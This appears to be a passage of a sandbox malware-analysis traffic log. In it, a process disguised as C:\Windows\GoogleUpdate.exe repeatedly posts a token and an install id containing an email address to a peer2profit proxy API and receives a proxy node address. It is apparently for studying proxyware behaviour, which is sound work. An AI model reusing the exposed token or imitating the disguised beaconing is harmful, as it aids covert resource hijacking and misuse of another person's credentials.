2022-12-05 05:45:56 UTC	47	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:56 UTC	47	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:56 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a7f9a4a906a-FRA
2022-12-05 05:45:56 UTC	48	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49730	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:23 UTC	4	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:23 UTC	4	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:23 UTC	5	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:23 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79b39c61bbc1-FRA
2022-12-05 05:45:23 UTC	5	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.3	49935	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:56 UTC	48	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:56 UTC	48	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:56 UTC	48	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:56 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a817e479951-FRA
2022-12-05 05:45:56 UTC	48	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.3	49939	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:57 UTC	48	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:57 UTC	49	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:57 UTC	49	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:57 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a83c9216928-FRA
2022-12-05 05:45:57 UTC	49	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.3	49942	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:57 UTC	49	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:57 UTC	49	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:57 UTC	49	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:57 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a85cad09950-FRA
2022-12-05 05:45:57 UTC	50	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.3	49945	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:57 UTC	50	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:57 UTC	50	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:57 UTC	50	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:57 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a87dbe65bf9-FRA
2022-12-05 05:45:57 UTC	50	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.3	49948	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:58 UTC	50	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:58 UTC	51	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:58 UTC	51	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:58 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a89ded7902a-FRA
2022-12-05 05:45:58 UTC	51	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.3	49951	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:58 UTC	51	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:58 UTC	51	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:58 UTC	51	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:58 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a8ca9d39066-FRA
2022-12-05 05:45:58 UTC	52	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.3	49954	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:58 UTC	52	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:58 UTC	52	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:59 UTC	52	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:59 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a8ff8bb9b52-FRA
2022-12-05 05:45:59 UTC	52	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.3	49957	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:59 UTC	53	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:59 UTC	53	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:59 UTC	53	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:59 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a935cc29110-FRA
2022-12-05 05:45:59 UTC	53	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.3	49960	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:59 UTC	53	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:59 UTC	53	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:00 UTC	54	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:00 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a95d827bb85-FRA
2022-12-05 05:46:00 UTC	54	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.3	49964	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:00 UTC	54	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:00 UTC	54	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:00 UTC	54	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:00 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a9808d79b70-FRA
